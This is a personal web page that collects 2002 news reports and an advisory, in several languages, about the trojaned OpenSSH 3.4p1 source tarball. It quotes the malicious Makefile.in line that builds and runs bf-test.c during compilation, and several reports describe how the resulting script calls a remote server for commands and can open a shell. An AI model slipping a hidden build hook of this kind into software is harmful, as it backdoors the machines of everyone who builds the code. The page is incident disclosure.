Home
Personal
Unix
FreeBSD
FreeBSD Mailinglist Archive
FreeBSD songbook
OpenSSH
Trojan - articles
Apache
General Tools
Funny requests of my webserver
How to create favicon-icons on Unix machines
How to use ftp in combination with .netrc
Tcpdump for mortals
*BSD
Multimedia
Resources
Australian FreeBSD mirrors
Programming
Networking
Documents
Reporting
Weblog
CityRail
BOM pictures
Other projects
Contact me

"I don't care what you say about me, just spell my name right" -- P.T. Barnum

Do you know any other articles regarding the OpenSSH 3.4p1 trojan which are not mentioned here? Please let me know!

- SecuriTeam.com: OpenSSH Trojaned (Version 3.4p1)
- Heise News-Ticker: Trojanisches Pferd in OpenSSH (Update)
- Tweakers.net: Trojan wordt verspreid via OpenBSD.org
- Security.nl: OpenSSH distributie gekraakt
- The Register: OpenSSH trojaned!
- Da Linux French Page: S&#65533;curit&#65533;: Cheval de troie dans OpenSSH
- Slashdot: OpenSSH Package Trojaned
- vnunet.com: Puzzling Trojan affects OpenSSH
- F&L Publications: Trojan in OpenSSH 3.4
- Daily Daemon News: OpenSSH tarball trojaned
- Unix.se: Trojan i OpenSSH
- BSDFreaks.nl: OpenSSH van ftp.openbsd.org bevatte een trojan
- Debian Planet: OpenSSH packages not vulnerable
- SecurityFocus HOME Columnists: Time for Open-Source to Grow Up

---

SecuriTeam.com

OpenSSH Trojaned (Version 3.4p1)

Original article

Title **1/8/2002**

OpenSSH Trojaned (Version 3.4p1)

Summary

A Trojaned version of OpenSSH package has been found to reside on ftp.openbsd.org's server. The Trojaned version allows remote attackers to completely compromise the security of the server running the Trojaned copy.

Details

The following OpenSSH package found on ftp.openbsd.org (and probably all its mirrors now) has been found to beTrojaned:
ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz

The OpenBSD people have been informed about it (via email to deraadt@openbsd.org and via irc.openprojects.org/#openbsd)

The changed files are openssh-3.4p1/openbsd-compat/Makefile.in:
all: libopenbsd-compat.a
+ @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out &

bf-test.c[1] is nothing more than a wrapper that generates a shell-script[2] that compiles itself

and tries to connect to an server running on 203.62.158.32:6667 (web.snsonline.net).

The following are links to sources of the malicious files:
[1] http://www.mavetju.org/~edwin/bf-test.c
[2] http://www.mavetju.org/~edwin/bf-output.sh

This is the md5 checksum of the openssh-3.4p1.tar.gz in the FreeBSD ports system:
MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8

This is the md5 checksum of the Trojaned openssh-3.4p1.tar.gz:
MD5 (openssh-3.4p1.tar.gz) = 3ac9bc346d736b4a51d676faa2a08a57

Additional information

The information has been provided by Edwin Groothuis.

Heise News-Ticker

Heise News-Ticker: Trojanisches Pferd in OpenSSH (Update)

Original message

Trojanisches Pferd in OpenSSH (Update)

Laut einer E-Mail an das OpenSSH-Entwicklerteam ist die portable Version 3.4p1 von OpenSSH mit einem Trojanischen Pferd infiziert. Die OpenBSD-Entwickler gaben gegenüber heise online inzwischen bekannt, dass auch die Version 3.2.2p1 betroffen ist. Die portablen Versionen von OpenSSH -- der Open-Source-Version der SSH-Protokollsuite (Secure Shell), die kryptographisch abgesicherte Kommunikation in unsicheren Netzen ermöglicht -- werden für Installationen unter anderen Systemen als OpenBSD eingesetzt. Edwin Groothuis hatte die infizierte Version auf ftp.freebsd.org gefunden und umgehend die OpenSSH-Entwickler informiert. Offenbar wurde das Trojanische Pferd auf einem Server von openbsd.org eingeschleust.

Unmittelbar betroffen sind Anwender, die sich OpenSSH 3.4p1 oder 3.2.2p1 kürzlich manuell besorgt und die Version installiert haben, ohne die md5-Checksumme zu überprüfen -- also den Quellcode selbst kompiliert haben. Installationen, die beispielsweise über das FreeBSD-Port-System eingespielt werden, sollten abbrechen, eben weil die Checksumme nicht übereinstimmt. Auch Binärpakete aus anderen Distributionen sind nicht betroffen. Die infizierte Version enthält ein C-Quellcode namens bf-test.c, der bei Einrichtung ein Shell-Script installiert, das dann versucht, eine Verbindung zur IP-Adresse 203.62.158.32 aufzubauen -- der Server wurde allerdings inzwischen neu aufgesetzt, so dass keine Verbindungen mehr möglich sind. (pab/c't)

Tweakers.net

Trojan wordt verspreid via OpenBSD.org

Original message

Trojan wordt verspreid via OpenBSD.org
Gepost door Wouter Tinus donderdag 1 augustus 2002 - 15:03 - bron: FreeBSD.org
[ti] schrijft: "Edwin Groothuis meldt op de FreeBSD security FreeBSD

mailinglist dat het distributiebestand van het het populaire tooltje Duiveltje OpenSSH op de OpenBSD.org server een Trojaans Paard is. De aanpassing bevindt zich in het Configure script. Daarin wordt een shell-script gegenereerd dat probeert een verbinding met een server in Australi op te zetten. Groothuis uit het sterke vermoeden dat het besmette bestand al door een groot aantal mirrorsites is overgenomen. Iedereen die dit bestand recentelijk gedownload heeft doet er dus goed aan om te controleren of zijn versie in orde is. Hoe iemand de kwaadaardige programmacode in de OpenSSH distributie heeft weten te krijgen is niet duidelijk. De beheerders zijn inmiddels op de hoogte gesteld van de besmetting."

Security.nl

OpenSSH distributie gekraakt

Original story

OpenSSH distributie gekraakt

Door: Redactie Security.nl op do 01 aug 2002 11:05

Edwin Groothuis meldt op de FreeBSD security mailinglist dat het distributiebestand van OpenSSH op de OpenSSH distributie-server een Trojaans Paard is. Hij uit het vermoeden dat dit op de mirrors ook weleens het geval kan zijn. Iedereen die recentelijk dit bestand gedownload en geinstalleerd doet er goed aan te controleren of deze in orde is. Hoe iemand er in geslaagd is de kwaadaardige programmacode in de OpenSSH distributie heeft weten te krijgen is niet duidelijk. De aanpassing bevindt zicht in het Configure script. Daarin wordt een shell-script gegenereerd dat probeert verbinding met een server in Australie op te zetten. Het domein van deze server, snsonline.net is in handen van een zeker Mark Sergeant. Op www.snsonline.net bevindt zich de website van en hostingbedrijf. Het is niet duidelijk of SNS Online in de zaak betrokken is of dat het hier een gekraakte server betreft.

The Register

OpenSSH trojaned!

Original message

OpenSSH trojaned!

By John Leyden
Posted: 01/08/2002 at 15:31 GMT

Copies of OpenSSH packages on popular download sites have been trojaned, developers have warned.

Overnight it was realised that the tarball for OpenSSH 3.4p1 on the main openBSD (ftp.openbsd.org) mirror was compromised, after developers noticed that the checksum of the package had changed. Other mirror sites might also be

affected.

The malicious code is not particularly sophisticated but it *is* a remotely controllable program that could give potential attackers root access to victim's machines. The backdoor is in the makefile that comes with the package, not the OpenSSH software itself.

Initial analysis suggests that code has been added to the package which generates a shell script which, when compiled, tries to contact 203.62.158.32 (web.snsonline.net) on port 6667. It seems that the trojan is executed during build only.

Who compromised the openSSH package and their motives remain unclear.

OpenBSD developers have been informed on the issue, and a clean-up operation can be expected to commence shortly. For now, however, users would do well to exercise extreme caution in updating their machines.

OpenSSH is a free version of the SSH (Secure Shell) communications suite and is used as a secure replacement for protocols such as Telnet, Rlogin, Rsh, and Ftp. ®

External Links
Copy of Weblog by Australian developer Edwin Groothuis analysing the problem
Other developers sound the alarm bells

Da Linux French Page

Sécurité: Cheval de troie dans OpenSSH

Original message

Sécurité: Cheval de troie dans OpenSSH

Post par falbala. Approuv le Jeudi 01 Aot 12:42 [M]

D'après un mail sur la liste de freebsd-security, le tarball de la dernier version d'openssh portable (openssh-3.4-p1) contient un shell code dans openbsd-compat/bf-test.c, qui sera lancé via Makefile.in si on fait un make.

Vous pouvez comparez avec un miroir :

ftp.openbsd.org (infecté) :
ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz

ftp.lip6.org (non infecté):
ftp://ftp.lip6.fr/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz

- le mail en question (540 hits)
- Un weblog sur l'animal (753 hits)
- Le shell code (834 hits)

Slashdot: News for nerds, stuff that matters

OpenSSH Package Trojaned

Original message

[Security]Posted by michael on Thursday August 01, @11:10PM
from the md5-saves-lives dept.
cperciva writes *"The original story is here. And more details are available from the guy's weblog here."* Here's a mirror of that email message. Another reader writes, *"Not really a trojan because all it does is make a connection to 203.62.158.32:6667."* Still another writes *"The tarball of the portable OpenSSH on ftp.openbsd.org is trojaned. The backdoor is only used during build - generated binaries are fine."* There isn't much authoritative information available, but this appears legitimate - please be careful if you're updating any of your machines with code from ftp.openbsd.org, and we'll update this story with more links as information is available. **Update: 08/01 19:13 GMT** by **M**: OpenSSH now has an advisory.

---

vnunet.com

Puzzling Trojan affects OpenSSH

Original message

Puzzling Trojan affects OpenSSH
By James Middleton [01-08-2002]
Geeks in a quandary over mystery infection
Geeks have been sent scampering to solve the case of how the latest Open secure shell (SSH) package came to be Trojaned.

The infected file was discovered on the OpenBSD website, but all mirrors should also be considered compromised.

This afternoon, alerts started popping up on security websites that a Trojan horse was hidden in the most recent portable version of OpenSSH, v3.4p1.

The strange thing is that the backdoor appears only to be active while the files are being built; the resultant generated binaries are clean.

If the infected files are downloaded and compiled, during the build process the Trojan will attempt to connect to IP 203.62.158.32 port 6667, which belongs to a Melbourne-based hosting company, SNS Online.

There is some speculation that the SNS box may have been hacked and owned by someone who is using it to try and take over a host of *nix boxes, because when the Trojan becomes active it is listening for one of three commands from the Aussie server.

In one case the Trojan may go to sleep for an hour, which immediately pours water on the theory that it is only active during build. In another it will abort completely. The third option will spawn a command shell with whatever privileges the user at the time was running with.

Many people compile software logged in as root, which means that the hacker could potentially have gained root control over a number of boxes.

The backdoor came to light when one user discovered that the MD5 checksums, designed to verify the authenticity of the code, did not match.

Some users report that early downloads of the file do not seem to have been exploited, however, and the Trojaned file has only appeared in the last day or so.

Another puzzle that has cropped up is that if whoever modified the file had access to the source code and the server, why did they not modify the MD5 checksum as well?

The group that runs Open BSD has been informed, but it is not yet clear what action is being taken.

F&L Publications Home Page

Trojan in OpenSSH 3.4

Original article

De Nederlander Edwin Groothuis heeft in de laatste versie van OpenSSH een Trojan ontdekt. Het gaat om alle versies van OpenSSH versie 3.4 -- dus niet alleen de portable branch, zoals eerder werd aangenomen.

Op z'n weblog beschrijft Groothuis hoe hij het veiligheidsgat ontdekte. De Trojan probeert een keer per uur om een verbinding te maken met poort 6667 op een server die loopt op IP-adres 203.62.158.32:6667 (web.snsonline.net). Hij wacht dan op instructies van de persoon die achter die server zit. Als hij een M krijgt gaat hij weer een uurtje slapen, bij een A stopt het proces. Bij een D daarentegen wordt een shell geopend als /bin/sh, waardoor de aanvaller volledige controle over het systeem krijgt (er vanuit gaande dat de OpenSSH-server met root-rechten loopt, wat in de meeste gevallen nog het geval is).

Alles bij elkaar heeft het zes uur geduurd, voordat aan de hand van MD5-checksum werd ontdekt dat de Trojan aanwezig was. Alleen de tarball van OpenSSH bleek geïnfecteerd.

c't/psm

Daily Daemon News

OpenSSH tarball trojaned

Original message

OpenSSH tarball trojaned
Slashdot 01 August 2002

Submitted By : Linh Pham
Edwin Groothuis sent a posted a message on freebsd-security stating that the OpenSSH 3.4p1 tarball has been trojaned. One of the .c files, bf-test.c, generates a script that makes a connection attempt to 203.62.158.32:6667. More information can be found, including the md5 checksum, within the freebsd-security posting and the SecurityFocus bulletin here.

(Link)

Unix.se - "A Real Operating System for Real Users"

Trojan i OpenSSH

Original article

Trojan i OpenSSH

Johan Fredin | 01.08.2002 14:56 | S�kerhet
Tidigare idag uppt�cktes att tarbollarna f�r OpenSSH-3.2.2p1, -3.4p1 och -3.4 som finns p� de officiella speglarna inneh�ller en trojan. Den verkar ha lagts dit n�gon g�ng under g�rdagen.

Trojanen ifr�ga aktiveras n�r anv�ndaren k�r configure-scriptet, och ber�r allts� bara de som kompilerar OpenSSH sj�lva. F�rdigkompilerade bin�rer inneh�ller allts� inte denna trojan. Det trojanen g�r �r att �ppna en TCP-session mot IP:t 203.62.158.32 p� port 6667, och inv�ntar d�refter ett kommando:

- 'M' f�r att f� processen att koppla upp sig igen en timme senare
- 'A' f�r att d�da den.
- 'D' k�r /bin/sh som anv�ndaren som k�rde configure-scriptet.

Eftersom m�nga (tyv�rr) kompilerar saker som root betyder det att trojanen kan f� upp ett root-skal. �garen av IPt som trojanen kontaktar vet om detta, och l�mpliga �tg�rder har tagit.
Den burken �r nu restriktivt brandv�ggad, allts� kan inga nya anslutningar g�ras mot port 6667. Trojanen �r d�rf�r mer eller mindre ofarlig i nul�get. Det som �r mer skr�mmande �r att n�n lyckades f� in flera OpenSSH-tarbollar p� ftp.openbsd.org som inneh�ll en trojan.
Om de lyckades med detta, vad mer kan de �dstakomma?

L�nkar:
Han som f�rst verkar ha hittat trojanen h�r
Mer info, md5summor h�r

Uppdatering: Webbloggen ovan �r inte tillg�nglig p� sin ursprungliga adress. En kopia av den finns h�r.
Uppdatering nr2: Officiellt uttalande med md5summor �terfinns h�r.

BSDFreaks.nl

OpenSSH van ftp.openbsd.org bevatte een trojan

Original article

OpenSSH van ftp.openbsd.org bevatte een trojan
Posted by Inferno on 02 Aug 2002 01:15:32
Edwin Groothuis is er achter gekomen dat op de ftp site van openbsd.org een vervuilde OpenSSH aanwezig was.
Deze vervuilde OpenSSH zorge voor een aanpassing het configure script zodat er een shell script gegenereerd wordt dat probeert verbinding te leggen
met een Australische server en zo mogelijk een DDOS aanval kan uitvoeren.
Het besmette bestand is inmiddels verwijderd.

Debian Planet - News for Debian. Stuff that "really" matters..nl

OpenSSH packages not vulnerable

Original article

OpenSSH packages not vulnerable
Submitted by robster on Thursday, August 01, 2002 - 16:22

The OpenSSH 3.4p1 packages on the OpenBSD FTP server were trojaned earlier today, as discovered by a FreeBSD user, Edwin Groothuis. The trojan only works at build time, and binaries produced from the source are not vulnerable, as detailed on his weblog (copied to /. because of bandwidth limitations).

The Debian packages were created some time ago from original untrojaned tarballs and are thus not affected in this way (and nor is the package maintainer's machine). The source tarball and the binary packages in the Debian archive are not affected, as confirmed by the ssh package maintainer, and several other Debian developers.

Category: News

SecurityFocus Online

Time for Open-Source to Grow Up

Original article

This is not a news-report on itself, more a discussion-item regarding how to check software integrity and using the incident with the OpenSSH trojan as an example.

$Id: openssh-trojan.php,v 1.11 2002/08/12 11:25:23 mavetju Exp $